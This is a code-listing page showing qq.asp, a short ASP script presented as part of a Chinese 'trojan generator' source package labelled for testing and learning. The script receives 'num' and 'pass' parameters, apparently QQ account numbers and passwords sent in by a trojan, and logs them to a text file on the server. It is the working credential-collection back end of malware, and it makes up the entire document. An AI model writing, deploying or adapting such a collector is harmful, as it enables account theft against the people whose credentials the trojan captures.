收信文件qq.asp

来自「面对面 木马生成器 完整代码 程序仅提供测试学习 全局钩子查找句柄」· ASP 代码 · 共 17 行

<%
num=request("num")
pass=request("pass")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("qq.txt"),8,True)
file.writeline num+"---"+"-"+pass
file.close
set file=nothing
set fs=nothing
response.write "Send OK!"
%>